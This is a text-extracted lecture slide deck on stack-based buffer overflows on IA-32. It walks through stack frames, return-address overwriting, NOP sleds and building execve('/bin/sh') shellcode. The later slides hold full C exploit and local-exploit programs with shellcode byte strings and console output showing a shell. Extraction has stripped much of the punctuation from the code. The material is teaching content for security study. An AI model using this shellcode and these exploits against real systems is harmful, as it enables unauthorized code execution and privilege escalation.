Title: Stack Based Buffer Overflows
1Stack Based Buffer Overflows
Alberto Ornaghi ltalor_at_sikurezza.orggt Lorenzo
Cavallaro ltsullivan_at_sikurezza.orggt
2Table of contents
- IA-32 introduction
- The issue
- Code injection
- Shellcode
- Buffer overflow
- Local buffer overflow (no address guessing)
3Introduction
4Stack layout
stack
int foo(int a, int b) int i 5 return
(a b) i int main(int argc, char
argv) int c 3, d 4, e 0 e
foo(c, d) printf(e d\n, e)
high
low
5Activation Record
- Return Address Its the address of the
instruction to be executed once thecalled
procedure ends. - Saved Base Pointer (saved frame pointer) It
holds EBP register value at the time the called
procedure is run and it points to the previous
activation record.
high
ret address
saved base pointer
automatic variables ... ...
low
6Nested ARs
high
d
int foo(int a, int b) bar(a, b) int
bar(int a, int b) ... int main(int argc,
char argv) foo(c, d)
c
low
7CPU registers
high
d
EIP instruction pointer it points to the next
instruction to be executed EBP base pointer
(frame pointer) it points to the base of the
current AR (static) ESP stack pointer it
points to the top of the stack (dynamic)
c
ret address
SFP
b
a
ret address
SFP
low
8Prologue and Epilogue
- Prologue
- push ebp (save ebp)
- mov esp, ebp (move ebp)
- Epilogue
- leave (reset ebp)
- ret (reset eip)
9Automatic variables
high
b
int foo(int a, int b) int i, j char
buf9 Default stack alignment is on a
double word boundary (4 byte on ia32) So
buffers are just padded to be ona double word
boundary.
a
ret address
SFP
i
j
pad
buf0
low
10The issue
11Plain situation
high
b
int foo(int a, int b) int i, j char
buf9 i 5 j 123 strcpy(buf,
securephd)
a
ret address
SFP
low
12Critical Situation
high
b
int foo(int a, int b) int i, j char
buf9 i 5 j 123 strcpy(buf,
securephdbcde)
a
ret address
SFP
low
13Very critical situation
high
b
int foo(int a, int b) int i, j char
buf9 i 5 j 123 strcpy(buf,
securephdaaabbbbcccceeeeffff)
a
low
14Code Injection
15Ret address modification
high
b
0xbffffcab
int a 3 int b 5 int e e foo(a,
b) printf(d\n, e)
a
0xbffffca7
0xbffffc8b
low
16ret addr guessing (1)
There are no efficient algorithms allowing to
blindly find out the ret addr, even if there
exist few techniques that may help us while
exploiting such vulnerabilities. We simply try
to bruteforce the addresses space keepingin
mind that the OS uses virtual memory with paging
and so the stack always starts at the same fixed
address
Process 1
Process 2
high
low
17ret addr guessing (2)
- A Process image (roughly) looks like
high
env
variable offset
argv
main AR
foo AR
static (fixed)offset
bar AR
low
18ret addr guessing (3)
- Stack pointer register (esp) represents a good
baseto add offsets to (or subtract offsets
from) theaddress obtained this way may be quite
a goodcandidate as retaddr for the vulnerable
program.
high
buf4
ret addr
buf0
b
offset (8)
a
esp
low
19Issues
- Functions that manipulate strings (strcpy, gets,
etc) copy as far as they dont find a NULL byte
(stringterminator). - Injected code MUST NOT contain NULL bytes.
code \xeb\x2a\x5f\xc6\x47\x07\x00\x89\x7f\x08
\xc7\x47 strcpy(buf, code) buf
\xeb\x2a\x5f\xc6\x47\x07
20ret addr range
- To improve our chance to find a suitable ret addr
we can prepend to our injected code something
that works like a landing strip NOP (0x90)
(machine instruction that does No Operation).
ret address
...
CODE
CTED
INJE
90 90 90 90
90 90 90 90
Allowed ret addr range
90 90 90 90
90 90 90 90
21Buffer structure
- Injected buffer will look like this one
EXECUTABLE CODE
RET ADDR
NOP NOP
code \x90\x90\x90...\xeb\x2a...\x8d\xfc\xff\x
bf
little endian !!
22Considerations...
- Target buffer might be too small to hold useful
codes - We may encounter non executable stack region
- We can put injected code anywhere in memory, not
just into the stack
23Shellcode
24execve (1)
execve prototype (user land)
int execve(const char filename, \
char const argv, \ char const
envp )
intmain(void) char name /bin/sh,
NULL execve(name0, name, NULL)
25execve (2)
stack layout
(gdb) disass mainpush ebpmov
esp,ebpsub 0x8,esplea
0xfffffff8(ebp),eaxmovl 0x808b6c8,0xfffffff8
(ebp)movl 0x0,0xfffffffc(ebp)push
0x0lea 0xfffffff8(ebp),eaxpush eaxmov
0xfffffff8(ebp),eaxpush eaxcall
0x804bf90 ltexecvegt
high
0x0
0x808b6c8
low
26execve (3)
high
stack layout
push ebpmov esp,ebpmov
0x8(ebp),edimov 0x0,eaxmov
0xc(ebp),ecxmov 0x10(ebp),edxpush
ebxmov edi,ebxmov 0xb,eaxint
0x80
0x10(ebp)
0xc(ebp)
0x8(ebp)
ebp
ebx lt- 0x8(ebp) 0x808b6c8ecx lt- 0xc(ebp)
nameedx lt- 0x10(ebp) 0x0
low
27execve (4)
We
- must have the string /bin/sh somewhere
in memory. - must build the array holding the address
of /bin/sh, followed by 0x0 (i.e., the
address at which the address of the string
/bin/sh is) - put the proper values into the proper
registers
28execve (5)
Lets suppose that ebx holds the address of the
string /bin/sh, now it suffices to do
stack layout
high
movl ebx, 0x8(ebx)movb 0x0, 0x7(ebx)movl
0x0, 0xc(ebx)leal 0x8(ebx), ecxleal
0xc(ebx), edxmovl 0xb, eaxint 0x80
0x0
0xc(ebx)
addr12
addr
0x8(ebx)
addr8
0
addr4
ebx
addr
low
29execve (6)
- We cannot know the absolute address of the
location at which the string /bin/sh is
stored, but we dont care
jmp aheadback popl ebx ahead call
back .string \/bin/sh\
30execve (7)
jmp ahead 0xeb 0x1c back
popl ebx 0x5b movl ebx,
0x8(ebx) 0x89 0x5b 0x08 movb 0x0,
0x7(ebx) 0xc6 0x43 0x07 00 movl 0x0,
0xc(ebx) 0xc7 0x43 0x0c 00 00 00 00 leal
0x8(ebx), ecx 0x8d 0x4b 0x08 leal
0xc(ebx), edx 0x8d 0x53 0x0c movl 0xb,
eax 0xb8 0x0b 00 00 00 int 0x80
0xcd 0x80 ahead call back
0xd8 0xdf 0xff 0xff 0xff .string
\/bin/sh\ 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68
31Nil bytes avoidance
32Nil bytes
movb 0x0, 0x7(ebx) movl 0x0, 0xc(ebx)
movl 0xb, eax
33shellcode (1)
intmain(void) __asm__( jmp ahead
back popl ebx xorl eax,
eax movl ebx, 0x8(ebx) movb
al, 0x7(ebx) movl eax, 0xc(ebx)
leal 0x8(ebx), ecx leal 0xc(ebx),
edx movb 0xb, al int 0x80
ahead call back .string
\/bin/sh\ )
Are there any issues with thistest?
34shellcode (2)
(gdb) x/29b 0x80483c3 0x80483c3 ltmain3gt
0xeb 0x16 0x5b 0x31 0xc0 0x89
0x5b 0x08 0x80483cb ltback6gt 0x88 0x43
0x07 0x89 0x43 0x0c 0x8d
0x4b 0x80483d3 ltback14gt 0x08 0x8d 0x53
0x0c 0xb0 0x0b 0xcd 0x80 0x80483db
ltaheadgt 0xe8 0xe5 0xff 0xff 0xff
35shellcode (3)
include ltstdio.hgtunsigned char code
"\xeb\x16\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\
x43 \x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\
x80\xe8\xe5 \xff\xff\xff/bin/sh"intmain
(void) void (f)(void) (void
()(void))code f() / never reached
/ exit(0)
36shellcode (4)
intmain(void) char name /bin/sh,
NULL char env PATH/bin/sbin/nonex
istent, NULL execve(name0, name,
env) / never reached / exit(1)
37shellcode (5)
high
jmp aheadback popl edi jmp beginahead
call backbegin xorl eax, eax movl
edi, ebx addb (shell -
begin), bl pushl ebx movl ebx,
40(ebx) movl eax, 44(ebx) movb al,
7(ebx) leal 40(ebx), ecx
low
38shellcode (6)
high
movl edi, ebx addb (env - begin), bl
movl ebx, 48(ebx) movl eax, 52(ebx)
movb al, 28(ebx) leal 48(ebx), edx
popl ebx movb 0xb, al int 0x80shell
.string \"/bin/sh\" 7 bytesenv 33
bytes 29 w/o X and 28 w/o X and A
strlen(shell) strlen(env) 40 bytes
.string \"APATH/bin/sbin/nonexistentXXXX\
low
39Shellcode testing
unsigned char shellcode
\xeb\x18\x5f\x31\xc0\x88\x47\x07\x89\x7f\x08\x89
\x47\x0c\x8d\x57\x0c\x8d\x4f\x08\x89\xfb\xb0\
x0b \xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" i
nt main() void (f)(void) (void
()(void))shellcode f()
sh-2.03 id uid0(root) gid0(root) groups0(root)
40Vulnerable program (1)
void foo(char )intmain(void) char
name512 memset(name, 0, sizeof (name))
fgets(name, sizeof (name), stdin)
namestrlen(name) 1 0 printf(calling
foo \n) foo(name) printf(foo executed
succesfully\n) exit(0)
41Vulnerable program (2)
voidfoo(char s) char buf128
fprintf(stderr, buf _at_ p\n, buf)
memset(buf, 0, sizeof (buf)) strcpy(buf,
s) printf(Hello s\n, buf) return
42Vulnerable program (3)
sullivan_at_assurancetourix ./vuln
PhD classcalling foo buf
_at_ 0xbffff9fcHello PhD classfoo executed
succesfullysullivan_at_assurancetourix
sullivan_at_assurancetourix perl -e ' print "A" x
256 ' ./vulncalling foo ...buf _at_
0xbffff9fc Hello'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' zsh 2587
done perl -e ' print
"A" x 256 ' zsh 2588 segmentation fault (core
dumped) ./vuln sullivan_at_assurancetourix gdb -q
-c core Core was generated by
./vuln'. Program terminated with signal 11,
Segmentation fault. 0 0x41414141 in ?? ()
43Exploit (1)
unsigned char shellcode
"\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\
x43\x0c\x8d\x4b" "\x08\x89\xc2\xb0\x0b\xcd\x80\
xe8\xe6\xff\xff\xff/bin/sh" define NOP
0x90 define SIZE 256 define OFFSET 0 define
ALIGN 0 static long __inline__
get_esp(void) int main(int argc, char
argv) int align, offset, size, c, i
long ptr long addr char p
44Exploit (2)
p (char ) calloc(1, size align) /
align ourself / p (char ) (p align)
addr get_esp() offset ptr (long )p
for (i 0 i lt size i 4) ptr
addr c size/2 - strlen(shellcode)
memset(p, NOP, c) memcpy(p c, shellcode,
strlen(shellcode)) printf("s\n", p)
exit(0)
45Exploit (3)
static long __inline__ get_esp(void) long
ret / force using eax as output
register to align ourself to gcc output
/ __asm__ ("movl esp, 0" "a" (ret))
return ret
46Exploit (4)
sullivan_at_assurancetourix (./x s 160 o 0x260
cat) ./vuln using address 0xbffff9fc
NOP filling 45 bytes shellcode size
35 Â Íèæÿÿÿ/bin/shüùÿüùÿüùÿüùÿüùÿüùÿüùÿ
üùÿüùÿüùÿüùÿ id uid1021(sullivan)
gid100(users) groups100(users) ls -a .
local.c shellcode.c stack.c test.c vuln.c
x.c x2.c x3.c .. local shellcode stack
test vuln x x2 x3 exit sullivan_at_a
ssurancetourix
47Local vulnerability (1)
void foo(char ) int main(int argc, char
argv) printf("calling foo ...\n")
foo(argv1) printf("foo executed
succesfully\n") exit(0)
48Local vulnerability (2)
0xc0000000
addressable in kernel space
addressable in kernel/user space
env
nil terminated shellcode
argv
injected buffer (shellcodes address)
49Local exploit (1)
define VULN "./local" define SIZE 160 unsigned
char shellcode "\xeb\x15\x5b\x31\xc0\x89\x5
b\x08\x88\x43\x07\x89\x43\x0c\x8d\x4b"
"\x08\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/
bin/sh" int main(int argc, char argv)
char pSIZE / put the shellcode in target's
envp / char envp shellcode, NULL
/ what to execute / char vuln VULN,
p, NULL int ptr, i, addr
50Local exploit (2)
/ compute return address since
strlen doesnt count for nil bytes, we do
0xc0000000 4 1 1 0xbffffffa
/ addr 0xbffffffa - strlen(shellcode) -
strlen(VULN) fprintf(stderr, " using
address 010x\n", addr) / fill buffer
with computed address / ptr (int )p
for (i 0 i lt SIZE i 4) ptr
addr execve(vuln0, vuln, envp)
fprintf(stderr, "! execve s\n",
strerror(errno)) exit(1)
51Local exploit (3)
sullivan_at_assurancetourix ./x2 using address
0xbfffffd0 calling foo ... Hello
'ÐÿÿÐÿÿÐÿÿÐÿÿÐÿÿÐÿÿÐÿÿÐÿÿÐÿÿÐÿÿÐÿÿÐÿÿÐ
ÿÿÐÿÿO!_at_' sh-2.05a ls local shellcode.c
stack.c test.c vuln.c x.c x2.c x3.c local.c
shellcode stack test vuln x
x2 x3 sh-2.05a exitexitsullivan_at_assurancetour
ix
52Contacts
- Lorenzo Cavallaro ltsullivan_at_antifork.orggt
- Alberto Ornaghi ltalor_at_antifork.orggt
-
- http//sullivan.antifork.org/http//alor.antifor
k.org/http//shellcodes.antifork.org/